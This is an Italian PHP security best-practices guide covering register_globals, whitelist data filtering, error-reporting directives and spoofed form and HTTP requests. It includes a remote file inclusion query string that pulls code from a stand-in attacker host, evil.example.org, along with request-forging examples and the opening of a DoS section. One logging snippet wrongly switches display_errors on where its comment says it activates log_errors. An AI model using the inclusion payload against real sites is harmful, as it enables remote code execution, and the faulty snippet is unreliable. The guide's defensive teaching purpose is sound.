{"version": "1.6","name": "PHP Best Practices","subline": "Sicurezza e ottimizzazione di PHP","username": "Fabio Politi","created": "05/30/2011","website": "http://icoa.it/","update": "06/25/2012","update_today": true,"email": "f.politi@icoa.it","intro": "This documentation was made only with the Documenter (except the images)","sections": [{"title": "Premessa","id": "premessa","content": "

\t 

\n
\n\tPHP è un linguaggio open-source di scripting server-side largamente conosciuto ed utilizzato.
\n
\n\tL'interprete PHP, anche se può essere utilizzato come un comune linguaggio shell (cfr. estensione Common Line Interface, PHP-CLI) riesce ad esplicare le maggiori potenzialità dalla simbiosi di altri due famosi servizi open-source, il Web Server Apache e il database relazionale MySql, per mezzo dei protocolli HTTP o HTTPS; 
\n
\n\t 
\n
\n\tun ambiente server non configurato propriamente, assieme ad un uno uso incauto del PHP, può portare ad ogni tipo di problemi. A tal proposito questa guida tenta di coprire tutti gli aspetti inerenti alle direttive di configurazione, non soltanto quindi del PHP ma, in parte, anche di Apache/MySql e al tempo di stesso di esaminare i maggiori exploit sulla sicurezza e fornire un metodo di gestione e arginamento.
\n
\n\t 
\n
\n\tNella fase finale del documento vengono poi affrontate le ultime tecniche di programmazione per utilizzare al meglio le potenzialità di PHP 5.3.
\n"},{"title": "Ambiente di riferimento","id": "ambiente_di_riferimento","content": "

\tQuesta guida include degli esempi di codice PHP e delle direttive specifiche inerenti alla modalità di configurazione di PHP, Apache e MySql; tutti gli esempi e le direttive sono state testate con successo sul seguente ambiente lato Server, che verrà preso come l'ambiente di base da ora in poi:

\n

\tDocumentRoot: /var/www
\n\tDefault OS server: Ubuntu Server 11.04 x64
\n\tDefault Web server: Apache 2.2.17
\n\tDefault MySql server: MySql 5.1.63
\n\tDefault PHP configuration file: /etc/php.ini
\n\tDefault PHP extensions config directory: /etc/php.d/

\n"},{"title": "Che cos'è la Sicurezza?","id": "che_cos_la_sicurezza","content": "

\t 

\n
\n\tLa Sicurezza è un metro di misura, non è una caratteristica.
\n
\n\t 
\n
\n\tMolti progetti Web sfortunatamente reputano la sicurezza soltanto un requisito aggiuntivo e totalmente facoltativo.
\n
\n\tPurtroppo al giorno d'oggi, con tutte le svariate tecniche di attacco/hackering ed exploit presenti nel codice, la sicurezza non può più essere un'opzione "decorativa" per etichettare e valorizzare il proprio software, ma deve essere introdotta nelle varie fasi di sviluppo di un progetto, con risorse e tempi dedicati;
\n
\n\t 
\n
\n\tLa Sicurezza deve essere bilanciata con le spese.
\n
\n\t 
\n
\n\tE' piuttosto facile e relativamente poco costoso fornire un livello sufficiente di sicurezza alla maggior parte delle applicazioni. Tuttavia, se si è costretti a raggiungere uno standard di sicurezza elevato, dato che si sta proteggendo informazioni piuttosto importanti, è doveroso sottolineare come non sia facilmente raggiungibile un maggior livello di sicurezza senza un aumento di costo. 
\n
\n\tTale aumento dovrebbe essere incluso sia nel budget del progetto e sia nella stima di ciò che ci si aspetta(od è richiesto) dal progetto stesso.
\n
\n\t 
\n
\n\tLa Sicurezza deve essere bilanciata con l'usabilità.
\n
\n\t 
\n
\n\tNon è fatto raro che i passi richiesti per aumentare la sicurezza di un'applicazione Web abbiano l'effetto parallelo di ridurre l'usabilità. Password, session timeouts, e meccanismi di Access Control sono tutti ostacoli per un Utente legittimo. A volte queste sono misure necessarie per fornire un livello di sicurezza adeguato, ma non esiste una soluzione unica che risulti appropriata per ogni applicazione.
\n
\n\tE' quindi sempre saggio pensare anche agli Utenti legittimi e non solo a potenziali Utenti "maligni" quando si progetta ed implementa qualsiasi misura di sicurezza.
\n
\n\t 
\n
\n\tLa Sicurezza deve essere parte attiva del design di un progetto.
\n
\n\t 
\n
\n\tCome si evincerà dai contenuti e dalle tematiche affrontate in questa guida, è assodato che non si può rendere "sicura" in maniera assoluta un'applicazione esistente, piuttosto è opportuno abituarsi a pensarla fin dall'inizio "sicura". Se non si introducono e sviluppano meccanismi di sicurezza parallelamente alle fasi di design e programmazione dell'applicativo, allora si è condannati constantemente ad essere vittima di potenziali vulnerabilità e tecniche di exploit/attacco/hackering; introdurre tali misure su un progetto in essere è sicuramente più "doloroso" che farlo su un progetto in sviluppo.
\n"},{"title": "Principi base e regole primarie","id": "principi_base_e_regole_primarie","content": "

\t 

\n
\n\tConsidera(e simula) sempre un utilizzo illegittimo della tua applicazione.
\n
\n\t 
\n
\n\tImplementare le meccaniche standard di sicurezza è solo una parte della soluzione. Durante il processo di sviluppo e soprattutto in fase di scrittura di codice operativo, è fondamentale cercare di simulare un uso illegittimo del proprio progetto, e di considerare tutte le eccezioni possibili.
\n
\n\t 
\n
\n\tMolto spesso, ci si focalizza unicamente sull'aspetto operativo dell'applicazione e sul fatto che funzioni propriamente, ma tutto questo sicuramente non rende il progetto stesso sicuro.
\n
\n\t 
\n
\n\tImpara da te stesso e mantieniti aggiornato
\n
\n\t 
\n
\n\tDato che le tecniche di attacco e relativi bug ed exploit del codice o dei servizi sono all'ordine del giorno, è impossibile scrivere(e descrivere) una guida che possa coprire ogni singolo aspetto e soluzioni delle problematiche relative alla sicurezza; se Internet(e la rete) è il principale mezzo per il quale è possibile compromettere un sistema(od una singola applicazione), allo stesso tempo rappresenta una sorgente infinita, e costantemente aggiornata, di concetti, know how e tecniche particolarmente utili ed indicate all'esatto problema che si sta cercando di risolvere; 
\n
\n\tcerca sempre di aggiornarti circa patch e bugs di PHP, Apache e MySql, studia eventuali nuove tecniche di sicurezza e arricchisci la tua esperienza con tutto ciò che puoi trovare di utile su siti e community dedicate (ad es. http://selfsecurity.org/)
\n
\n\t 
\n
\n\tFiltra sempre tutto ciò che viene dall'esterno
\n
\n\t 
\n
\n\tLa maggior parte dei meccanismi di attacco e dei tentativi di exploit di un server o di'applicazione non avvengono a livello fisico della macchina, ma dalle parti del codice del progetto stesso che permettono(per natura tecnica) l'interazione e la manipolazione con dati provenienti dall'estero.
\n
\n\t 
\n
\n\tIl filtraggio dei dati è il principio cardine della sicurezza di una Web application, in qualsiasi linguaggio e su qualsiasi piattaforma. Inizializzando tutte le variabili e filtrando tutti i dati provenienti da una sorgente esterna, si ottiene il vantaggio di eliminare una delle maggiori cause di vulnerabilità di un sistema, il tutto con davvero poco sforzo. E' lecito considerare che un approccio "whitelist" è preferibile ad un approccio "blacklist". Questo asserto implica che è doveroso considerare sempre tutti i dati esterni altamente invalidi, a meno di non riuscire a provare che siano validi (di solito erroneamente avviene il processo inverso - si considerano tutti i dati validi fino a quando non si prova che siano invalidi).
\n"},{"title": "Best Practice: Register Globals","id": "best_practice_register_globals","content": "

\t 

\n
\n\tLa direttiva register_globals (RG) è disabilitata di default dalla versione PHP 4.2.0 in poi. E' lecito soffermarsi(il discorso su RG è molto ampio sul web) che il funzionamento di questa direttiva NON rappresenta una vulnerabilità 
\n
\n\t in sè per sè, ma è sicuramente un riscio di sicurezza. Ad ogni modo è estremamente importante sviluppare e rilasciare applicazioni che non utilizzano le features disponibili dall'attivazione di register_globals(che fra l'altro è stata etichettata dalla stessa Zend come "deprecated", quindi in fase di eliminazione nelle prossime release del linguaggio).
\n
\n\t 
\n
\n\tMa perchè RG rappresenta un rischio di sicurezza? 
\n
\n\tE' piuttosto difficile produrre un esempio valido per qualsiasi ambito, dato che spesso sono situazioni piuttosto relative al contesto dell'applicazione e non sempre è facile rendere chiaro ed evidente il rischio intrinseco; tuttavia, il seguente esempio potrebbe aiutare a capire meglio il concetto:
\n
\n\t 
\n
\n<?php \n\n\nif (authenticated_user()) \n\n{ \n\n    $authorized = true; \n\n} \n\n\nif ($authorized) \n\n{ \n\n    include '/highly/sensitive/data.php'; \n\n} \n\n\n?>
\n
\n\t 
\n
\n\tIn un ambiente in cui register_globals è abilitato, questa pagina può essere interrogata tramite la query string "?authorized=1"(quindi direttamente nella barra degli indirizzi di un browser), bypassando molto semplicemente il relativo controllo sull'autenticazione, esponendo di conseguenza dati sensibili a Utenti illegittimi.
\n
\n\tIn questo preciso caso, la vulnerabilità è sicuramente colpa dello sviluppatore, non di register_globals, ma questo è un esempio piuttosto indicativo di questo sia semplice creare un potenziale e grave rischio di sicurezza. 
\n
\n\tIn un ambiente in cui register_globals è disabilitato, le variabili globali ordinarie (in questo esempio la variabile $authorized) non sono influenzate da eventuali dati inviati dal Client. 
\n
\n\t 
\n

\n\tPer register_globals la "best practice" è di inizializzare tutte le variabili e di sviluppare in un ambiente con una configurazione in cui la direttiva error_reporting è impostata a E_ALL, in maniera tale da far evidenziare direttamente al sistema eventuali variabili non inizializzate.

\n
\n\t 
\n
\n\tUn altro esempio piuttosto utile per evidenziare come register_globals possa portare a problemi non voluti è il seguente utilizzo di "include" tramite un path dinamico:
\n
\n\t 
\n
\n<?php\n\n\ninclude "$path/script.php";\n\n\n?>
\n
\n\t 
\n
\n\tCon register_globals abilitato, il codice/pagina contenuto nel file "script.php" può essere richiesto passando la stringa ?path=http%3A%2F%2Fevil.example.org%2F%3F nell'indirizzo URL del browser(query string), in maniera tale da avere il seguente effetto:
\n
\n\t 
\n
\n<?php\n\n\ninclude 'http://evil.example.org/?/script.php';\n\n\n?>
\n
\n\t 
\n
\n\tSe la direttiva "allow_url_fopen" è abilitata (lo è di default, anche nel file php.ini-recommended), l'esecuzione del codice dell'esempio precedente ha l'effetto di includere l'output dello script(esterno)  http://evil.example.org/ e verrebbe trattato alla stregua di un file locale, causando una lista di vulnerabilità potenzialmente infinita.
\n
\n\tQuesto tipo di vulnerabilità è piuttosto famosa, ed è stata scoperta anche in applicazioni open source molto famose e largamente utilizzate (Wordpress, Joomla e phpBB).
\n
\n\t 
\n
\n\tInizializzare la variabile $path può abbassare il livello di rischio, ma sarebbe necessario farlo per ogni script, mentre avremo lo stesso effetto senza essere costretti a fare un controllo su tutti gli script dell'intero server semplicemente disabilitando register_globals, rendendo questa scelta piuttosto conveniente. 
\n
\n\t 
\n
\n\tInoltre, sviluppare in un ambiente in cui è assodato che RG è disabilitato, costringe lo sviluppatore a focalizzarsi sulla natura e sull'origine dei dati, educandolo all'utilizzo degli array globali $_GET e $_POST, la cui natura è volutamente più strutturata rispetto ad eventuali variabili inizializzate da PHP tramite register_globals.
\n
\n\t 
\n"},{"title": "Best Practice: Data Filtering","id": "best_practice_data_filtering","content": "

\tCome ribadito precedentemente, il processo di filtraggio dei dati(data filtering) è il punto cardine della sicurezza di un'applicazione Web, e per la maggior parte è indipendente dal linguaggio di programmazione o dalla piattaforma che si sta utilizzando. Formalmente il data filtering si riferisce al meccanismo per il quale si determina la validità dei dati in entrata e in uscita(!) dall'applicazione, e sicuramente alcune scelte relative al design del progetto possono aiutare lo sviluppatore a:

\n

\t 

\n\n
\n\t 
\n
\n\tCi sono varie opinioni circa l'esigenza di assicurare che il processo di filtraggio dei dati non possa essere bypassato, ma presentiamo due approcci generali che sono piuttosto indicativi ed utili per questo tipo di panorama, ed entrambi presentano un sufficiente livello di assicurazione.
\n
\n\t 
\n
\n\tIl metodo "Dispatch"
\n
\n\t 
\n
\n\tIl primo metodo presenta un tipico esempio, molto comune, in cui un singolo script PHP possa essere acceduto direttamente da Web (tramite URL). 
\n
\n\t 
\n
\n\tIn realtà lo script contiene la logica di cosa deve essere incluso (tramite include o require) in un'architettura tipicamente on-demand, facilmente riscontrabile in molti progetti open-source; questo metodo solitamente richiede che sia passata una variabile in GET assieme all'URL completo, con lo scopo di identificare l'azione da intraprendere. Questa variabile in GET può essere considerata un rimpiazzamento per il nome fisico dello script che dovrebbe essere incluso, in un funzionamento piuttosto semplice da attuare. Ad esempio:
\n
\n\t 
\n
\nhttp://example.org/dispatch.php?task=print_form
\n
\n\t 
\n
\n\tOvviamente il file dispatch.php è l'unico file esistente nella root dell'applicativo. Questa impostazione permette ad un sviluppatore di usufruire di due vantaggi principali:
\n
\n\t 
\n
    \n\t
  1. \t\tImplementare alcune misure di sicurezza unicamente all'inizio del file dispatch.php, e assicurarsi (in maniera globale, così da farlo in un punto soltanto) che tali misure non sia bypassabili.
  2. \n\t
  3. \t\tSuddivedere la logica ed affinare precise misure di sicurezza a seconda dell'azione(task) da compiere(richiesta tramite URL), focalizzandosi quindi un controllo di flusso ben specifico ed ottimizzato.
  4. \n
\n
\n\t 
\n
\n\tPer spiegarci meglio, prendiamo ad esempio la seguente implementazione "canonico" del nostro eventuale script "dispatch.php":
\n
\n\t 
\n
\n<?php\n\n\n/* Global security measures */\n\n\nswitch ($_GET['task'])\n\n{\n\n    case 'print_form':\n\n        include '/inc/presentation/form.inc';\n\n        break;\n\n\n    case 'process_form':\n\n        $form_valid = false;\n\n        include '/inc/logic/process.inc';\n\n        if ($form_valid)\n\n        {\n\n            include '/inc/presentation/end.inc';\n\n        }\n\n        else\n\n        {\n\n            include '/inc/presentation/form.inc';\n\n        }\n\n        break;\n\n\n    default:\n\n        include '/inc/presentation/index.inc';\n\n        break;\n\n}\n\n\n?>
\n
\n\t 
\n
\n\tSe questo è appunto l'unico script PHP pubblico, allora dovrebbe essere piuttosto chiaro che il design stesso dell'applicazione assicura in maniera globale che le misure di sicurezza intraprese non possono essere bypassate a priori. Allo stesso tempo risulta facile modificare il controllo di flusso per un'azione specifica, o per modificarne una esistente. Ad esempio, invece di perdere tempo e risorse analizzando varie linee di codice situati su files differenti a livelli differenti, è palese accorgersi che il contenuto del file "end.inc" è visualizzato all'Utente unicamente quando la variabile $form_valid ha valore "true" e, dato che è preventivamente inizializzata al valore "false" appena prima che il file "process.inc" venga incluso, è chiaro che è la logica procedurale contenuta nello stesso file "process.inc" che si occupa di convalidare i dati esterni ed impostare congruentemente il valore "true" a $form_valid, altrimenti il form viene visualizzato nuovamente (presubilmente con messaggi di errori appropriati).
\n
\n\t 
\n

\n\tSe invece rinominiamo il file "dispatch.php" in "index.php" (in maniera tale da renderlo un file di tipo "Directory Index"), siamo in grado di utilizzare questo sistema tramite l'URL "http://example.org/?task=print_form", ottenendo il potenziale effetto di mascherare la tecnologia server-side (PHP) ad un potenziale link-sharing.

\n
\n\t 
\n
\n\tIl Metodo Include
\n
\n\t 
\n
\n\tUn altro approccio consiste nello sviluppare un singolo modulo che è responsabile per tutte le misure di sicurezza. Questo modulo deve essere incluso all'inizio di tutti gli scripts PHP considerati come "pubblici" (o accessibili via URL). Consideriamo il seguente script "security.inc":
\n
\n\t 
\n
\n<?php\n\n\nswitch ($_POST['form'])\n\n{\n\n    case 'login':\n\n        $allowed = array();\n\n        $allowed[] = 'form';\n\n        $allowed[] = 'username';\n\n        $allowed[] = 'password';\n\n\n        $sent = array_keys($_POST);\n\n\n        if ($allowed == $sent)\n\n        {\n\n            include '/inc/logic/process.inc';\n\n        }\n\n\n        break;\n\n}\n\n\n?>
\n
\n\t 
\n
\n\tIn questo esempio, ci si aspetta che ogni form che viene inviato venga identificato univocamente da una variabile "form", e che la logica presente in "security.inc" contenga il particolare processo di data filtering per ogni form. Un esempio di HTML form che soddisfa tale requisiti è il seguente:
\n
\n\t 
\n
\n<form action="/receive.php" method="POST">\n\n<input type="hidden" name="form" value="login" />\n\n<p>Username:\n\n<input type="text" name="username" /></p>\n\n<p>Password:\n\n<input type="password" name="password" /></p>\n\n<input type="submit" />\n\n</form>
\n
\n\t 
\n
\n\tUn array identificato dalla variabile $allowed viene utilizzato per identificare esattamente quale sono le precisi variabile del form da controllare e quali sono quelle da considerare come "valide". Il flusso di controllo è invece determinato in altra sede, e il file "process.inc" è dove avviene il vero e proprio processo di "data-filtering".
\n
\n\t 
\n

\n\tUn modo semplice e sicuro per assicurarsi che il file "security.inc" venga sempre incluso all'inizio di ogni PHP script consiste nell'utilizzare la direttiva "auto_prepend_file".

\n
\n\t 
\n
\n\tEsempi di Data Filtering
\n
\n\tE' importante applicare un approccio di tipo "whitelist" nel processi di filtraggio dei dati (data filtering); è impossibile fornire esempi per ogni tipo di dato o form che si possano incontrare, ma alcuni esempio possono aiutare ad illustrare i casi più comuni:
\n
\n\t 
\n
\n\tIl seguente è un esempio di validazione di un indirizzo Email:
\n
\n\t 
\n
\n<?php\n\n\n$clean = array();\n\n\n$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2}$/i';\n\n\nif (preg_match($email_pattern, $_POST['email'])) \n\n{ \n\n    $clean['email'] = $_POST['email']; \n\n}\n\n\n?>
\n
\n\t 
\n
\n\tL'esempio seguente che la variabile $_POST['color'] contenga uno dei valori 'red', 'green' o 'blue':
\n
\n\t 
\n
\n<?php\n\n\n$clean = array();\n\n\nswitch ($_POST['color'])\n\n{\n\n    case 'red':\n\n    case 'green':\n\n    case 'blue':\n\n        $clean['color'] = $_POST['color'];\n\n        break;\n\n}\n\n\n?>
\n
\n\t 
\n
\n\tNel prossimo esempio ci si assicura che la variabile $_POST['num'] è un intero:
\n
\n\t 
\n
\n<?php\n\n\n$clean = array();\n\n\nif ($_POST['num'] == strval(intval($_POST['num'])))\n\n{\n\n    $clean['num'] = $_POST['num'];\n\n}\n\n\n?>
\n
\n\t 
\n
\n\tAl contrario, il listato successivo ci assicura che $_POST['num'] è un numero in virgola mobile(float):
\n
\n\t 
\n
\n<?php\n\n\n$clean = array();\n\n\nif ($_POST['num'] == strval(floatval($_POST['num'])))\n\n{\n\n    $clean['num'] = $_POST['num'];\n\n}\n\n\n?>
\n
\n\t 
\n
\n\tConvenzioni su nomi di variabili e funzioni
\n
\n\t 
\n
\n\tOgnuno degli esempi precedenti prevede l'utilizzo di un array denominato $clean: è un ottimo esempio che illustra come gli sviluppatori dovrebbero identificare qualsiasi dato come potenzialmente dannoso. Difatti sarebbe pressochè inutile applicare un processo di data filtering e validazione dati se poi quest'ultimi vengono lasciati come valori degli array super-globali $_GET e $_POST, poichè generalmente è dimostrato che il contenuto di questi array pre-instanziati possa essere modificato per contenere dati dal formato ed origine sospetta.
\n
\n\t 
\n
\n\tIn aggiunta, assicurarsi che solo i dati contenuti nell'array $clean siano ritenuti validi (e tutti gli altri invalidi, compresi $_GET e $_POST), ci avvicina di molto all'approccio "whitelist" offrendo un livello superiore di sicurezza.
\n
\n\t 
\n
\n\tD'altra parte, salvando i dati in $clean solo dopo che questi sono stati validati, l'unico rischio virtuale consiste nel referenziale un elemento che non esiste, piuttosto che riferirsi a dati potenzialmente insicuri e di dubbia origine.
\n"},{"title": "Best Practice: Error Reporting","id": "best_practice_error_reporting","content": "

\t 

\n
\n\tIn versioni precedenti al PHP 5, rilasciato il 13 Luglio 2004, i processi di reportistica errori (error reporting) erano piuttosto basilari e scarsamente configurabili.
\n
\n\tIl PHP 5 introduce nuove direttive di configurazione che permettono di avere un certo controllo circa il tipo degli errori riportati e come e quando devono essere riportati; esaminiamole assieme:
\n
\n\t 
\n

\n\terror_reporting

\n
\n\t 
\n
\n\tQuesta direttiva imposta il livello di reportistica errori desiderato. Sebbene molte guide disponibili sul Web consigliano di settare la reportistica su "E_ALL" sia per l'ambiente di sviluppo che per l'ambiente di produzione, di solito questo è scarsamente consigliato, sia perchè un livello di E_ALL porta il compilatore a considerare eventuali errori anche i messaggi definiti come "Notice"(che non sono veri e propri errori, piuttosto degli "avvertimenti" di vario genere e natura) e sia perchè i messaggi contenuti nella riportistica, se molto dettagliati, potrebbero potenzialmente esporre informazioni non volute verso l'esterno.
\n
\n\t 
\n

\n\tLa Best Practice per error_reporting consiste nell'impostare la direttiva sul valore E_ALL in un ambiente di sviluppo, in maniera tale da avere una reporistica dettagliata su qualsiasi genere di errore possa scaturire durante lo sviluppo del progetto, e di tenere l'ambiente di produzione sui valori come "E_ALL & ~E_NOTICE | E_STRICT", in modo da non sollevare le "NOTICE" e di "alleggerire" il compito (e quindi indirettamente le performance) del pre-processore PHP.

\n
\n\t 
\n

\n\tdisplay_errors

\n
\n\t 
\n
\n\tQuesta direttiva determina se gli errori debbano essere visualizzati o meno (di solito, nello schermo/a video, ma da un punto di vista tecnico gli errori vengno inclusi nel flusso di Output degli script). 
\n
\n\t 
\n

\n\tIn questa caso la Best Practice è molto semplice, anche se impone un minimo di organizzazione: la direttiva dovrebbe essere sempre impostata su 'On' nell'ambiente di sviluppo, in maniera tale da accorgersi subito di eventuali errori nel codice, ma dovrebbe essere sempre impostata su 'Off' nell'ambiente Server di produzione, in modo tale da nascondere errori troppo "dettagliati" agli Utenti (e potenziali hackers).

\n
\n\t 
\n

\n\tlog_errors

\n
\n\t 
\n
\n\tQuesta direttiva specifica al sistema se gli errori debbano essere scritti in un file di log. E' lecito pensare come questo possa portare a dei problemi di performance (di solito la scrittura simultanea di file sul server sono operazioni "lente"), è pressochè desiderabile che gli errori siano rari(in maniera proporzionale al valore impostato a "error_reporting").
\n
\n\t 
\n

\n\tLa Best Practice per la direttiva "log_errors" è che sia impostata su "Off" nel file globale "php.ini", in modo da evitare che tutti gli scripts di tutti gli applicativi sul Server inducano un'ingente quantità di flussi I/O su un unico file di log (impostazione di default), ma che sia impostato su "On" secondo un'architettura "per-project"; infatti questa direttiva, utilizzata coerentemente con la direttiva "error_log" permette molto facilmente di instaurare un file di log solo per un unico progetto (o addirittura un unico script), ottenendo l'immediato vantaggio di avere informazioni di logs dettagliate e facilmente contestualizzabile ad un progetto, invece di avere centinaia di logs provenienti da vari script in un unico file.

\n
\n\t 
\n
\n\tAd es., basta includere questo codice all'inizio dei file della sola applicazione che si vuole tenere sotto logging:
\n
\n\t 
\n
\n<?php \n\n//override per-application reporting level \n\nini_set('error_reporting',E_ALL);\n\n//disable errors output\n\nini_set('display_errors','Off');\n\n//activate log_errors\n\nini_set('display_errors','On');\n\n//put the log file in a separate dir, per-project\n\nini_set('error_log','/var/php_logs/MyApp01/logs/php_error.log');\n\n?>
\n
\n\t 
\n

\n\terror_log

\n
\n\t 
\n
\n\tQuesta direttiva semplicemente imposta la locazione fisica (relativa al server) del file di log, ovvero dove vengono scritti i files. Ovviamente è lecito assicurarsi che l'utente con il quale gira PHP o il Web Server abbiano privilegi sufficienti a scrivere sul path indicato.
\n
\n\t 
\n
\n\tCome detto in varie altre sezioni, questa direttiva dovrebbe essere usata saggiamente: uno dei pattern più utilizzati ed utili è di attivare questa direttiva in maniera contestuale al progetto, parallelamente al livello E_ALL di error_reporting, così da avere tutti i dettagli di eventuali variabili non inizializzate e informazioni di vario tipo.
\n
\n\t 
\n

\n\tAttenzione: ovviamente è saggiamente consigliato di non riporre il file di log in un path(del server) che possa essere acceduto tramite Apache, evitando che si rendano indirettamente pubblici tutti i file di logs e le informazioni contenute in essi.

\n
\n\t 
\n

\n\tRibadiamo il concetto di come, dal PHP 5, queste direttive possono essere configurate in tempo reale tramite la primitiva ini_set, espandendo di molto le possibilità e le potenzialità nell'ambito della reportistica degli errori;

\n
\n\t 
\n
\n\tad es. è facilissimo modificare il codice precedente in maniera tale da generare file di logo giornalieri:
\n
\n\t 
\n
\n<?php \n\n//override per-application reporting level \n\nini_set('error_reporting',E_ALL);\n\n//disable errors output\n\nini_set('display_errors','Off');\n\n//activate log_errors\n\nini_set('display_errors','On');\n\n//generate a filename with the current date\n\n$log_file = date("Y-m-d"). ".log";\n\n//put the log file in a separate dir, per-project\n\nini_set('error_log','/var/php_logs/MyApp01/logs/' . $log_file);\n\n?>
\n
\n\t 
\n
\n\tNota: per informazioni aggiuntive e dettagliate è sempre buona norma riferirsi alla documentazione online costantemente aggiornata:
\n
\n\t 
\n
\nhttp://www.php.net/manual/en/ref.errorfunc.php
\n
\n\t 
\n
\n\tAttenzione: il discorso della gestione degli errori verrà ripreso più avanti, visto che il PHP 5 introduce la classe Exception per la gestione programmatica degli errori.
\n"},{"title": "Best Practice: Spoofed data","id": "best_practice_spoofed_data","content": "

\t 

\n
\n\tPer "spoofing" generalmente s'intende qualsiasi attività di "falsificazione" informatica (ad esempio il termine viene usato anche nelle frodi informatiche che utilizzano la posta elettronica).
\n
\n\tNel nostro caso analizzeremo due classici esempi di tecniche di spoofing, entrambi legati ai form e alla successiva elaborazione dei dati, piuttosto classici e facili da emulare, ma non di meno dannosi e meritevoli di particolare attenzione:
\n
\n\t 
\n

\n\tSpoofed Form Submissions

\n
\n\tAl fine di apprezzare la necessità e l'estrema utilità delle tecniche di "data-filtering", affrontate nei capitoli precedenti, consideriamo il seguente form posizionato (ipoteticamente parlando) all'indirizzo http://example.org/form.html:
\n
\n\t 
\n
\n<form action="/process.php" method="POST">\n\n<select name="color">\n\n    <option value="red">red</option>\n\n    <option value="green">green</option>\n\n    <option value="blue">blue</option>\n\n</select>\n\n<input type="submit" />\n\n</form>
\n
\n\t 
\n
\n\tImmaginiamo un potenziale utente malintenzionato che salva la precedente pagina HTML ed applica le seguenti modifiche:
\n
\n\t 
\n
\n<form action="http://example.org/process.php" method="POST">\n\n<input type="text" name="color" />\n\n<input type="submit" />\n\n</form>
\n
\n\t 
\n
\n\tQuesto nuovo form può essere posizionato ovunque (non è neanche necessario un Web Server, dato che necessita soltanto di essere aperto da un browser Web), ed il form può essere manipolato come si desidera. L'URL assoluto utilizzato nell'attributo "action" ha l'immediato effetto di sottomettere il form (tramite POST) all'indirizzo originale per il quale era stato previsto (lo stesso del form originale).
\n
\n\t 
\n
\n\tTale procedura elimina qualsiasi restrizione implementata lato Client in maniera molto semplice, come ad esempio le restrizioni basate su elementi HTML(campi a scelta multipla, checkbox, ecc.) o routine di controllo e validazione dati basata su Javascript. In questo particolare caso, è facile vedere come la variabile $_POST['color'] non assume necessariamente i valori 'red', 'green' e 'blue'
\n
\n\t 
\n
\n\t 
\n

\n\tSpoofed HTTP Requests

\n
\n\tEsiste una tecnica più avanzata(ma non troppo complicata da realizzare) per lo "spoofing" di un form che, diversamente da quanto visto fino ad adesso, instaura il processo di "falsificazione" a livello protocollare(HTTP o HTTPS), senza l'ausilio di form HTML.
\n
\n\t 
\n
\n\tFin dagli albori del paradigma Clint/Server su cui si basa HTTP(e quindi TCP), il client ha il compito di formattare e incapsulare un pacchetto di dati e di inviarlo al server, secondo gli standard definiti dal protocollo - formalmente questa fase è definita come "HTTP Request".
\n
\n\t 
\n
\n\tNel form di esempio appena discusso, quando un utente sceglie un colore(tramite il campo "color"), l'HTTP Request risultante (assumendo una scelta di "red"), assomiglia molto al seguente listato:
\n
\n\t 
\n
\nPOST /process.php HTTP/1.1\n\nHost: example.org\n\nContent-Type: application/x-www-form-urlencoded\n\nContent-Length: 9\n\n\ncolor=red
\n
\n\t 
\n
\n\tLa famosa utility "telnet" (disponibile anche in Windows) può essere utilizzata con un pò di sforzo per creare ed inviare una richiesta così formata. L'esempio seguente crea una request di tipo GET all'indirizzo http://www.php.net/:
\n
\n\t 
\n
\n$ telnet www.php.net 80\n\nTrying 64.246.30.37...\n\nConnected to rs1.php.net.\n\nEscape character is '^]'.\n\nGET / HTTP/1.1\n\nHost: www.php.net
\n
\n\t 
\n
\nHTTP/1.1 200 OK\n\nDate: Wed, 21 May 2004 12:34:56 GMT\n\nServer: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev\n\nX-Powered-By: PHP/4.3.3-dev\n\nLast-Modified: Wed, 21 May 2004 12:34:56 GMT\n\nContent-language: en\n\nSet-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net\n\nConnection: close\n\nTransfer-Encoding: chunked\n\nContent-Type: text/html;charset=ISO-8859-1
\n
\n\t 
\n
\n2083\n\n<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">\n\n...
\n
\n\t 
\n
\n\tOvviamente per uno sviluppatore PHP è relativamente più semplice scrivere un Client che faccia la stessa cosa, senza dover trafficare con Telnet. Il seguente esempio mostra come è semplice creare lo stesso tipo di HTTP Request tramite PHP:
\n
\n\t 
\n
\n<?php\n\n$http_response = '';\n\n$fp = fsockopen('www.php.net', 80);\nfputs($fp, "GET / HTTP/1.1\r\n");\nfputs($fp, "Host: www.php.net\r\n\r\n");\n\n\nwhile (!feof($fp))\n{\n    $http_response .= fgets($fp, 128);\n}\n\nfclose($fp);\n\necho nl2br(htmlentities($http_response));\n\n?>
\n
\n\t 
\n
\n\tVista la facilità con la quale risulta piuttosto facile avere a che fare con dati "falsificati" (spoofed) e sul fatto che non possiamo assicurarci sull'origine di essi, rimane imperativo implementare un solido sistema di "data-filtering", e soprattutto che la logica di validazione dei dati debba avvenire lato Server e non lato Client(tramite Javascript e HTML); 
\n
\n\t 
\n
\n\t 
\n

\n\tDoS Attack: Multiple HTTP Requests Forgeries

\n
\n\tSe ci soffermiamo qualche minuto sul listato di codice PHP dell'esempio precedente, risulta sconcertante verificare come una leggera modifica al codice (basta un ciclo) possa creare un vero e proprio attacco di tipo DoS, se non si prendono misure atte non solo a garantire la congruenza dei dati, ma anche come e in che modo vengono sottomessi.
\n
\n\t 
\n

\n\tDa Wikipedia: Nella sicurezza informatica DoS  è la sigla di denial of service, letteralmente negazione del servizio. Si tratta di un attacco informatico in cui si cerca di portare il funzionamento di un sistema informatico che fornisce un servizio, ad esempio un sito web, al limite delle prestazioni, lavorando su uno dei parametri d'ingresso, fino a renderlo non più in grado di erogare il servizio.

\n

\n\tGli attacchi vengono abitualmente attuati inviando molti pacchetti di richieste, di solito ad un server Web, FTP o di posta elettronica saturandone le risorse e rendendo tale sistema "instabile", quindi qualsiasi sistema collegato ad Internet e che fornisca servizi di rete basati sul TCP è soggetto al rischio di attacchi DoS.

\n
\n\t 
\n
\n\tecco come rendere lo script di HTTP Request Forgery un potenziale tentativo di attacco DoS:
\n
\n\t 
\n
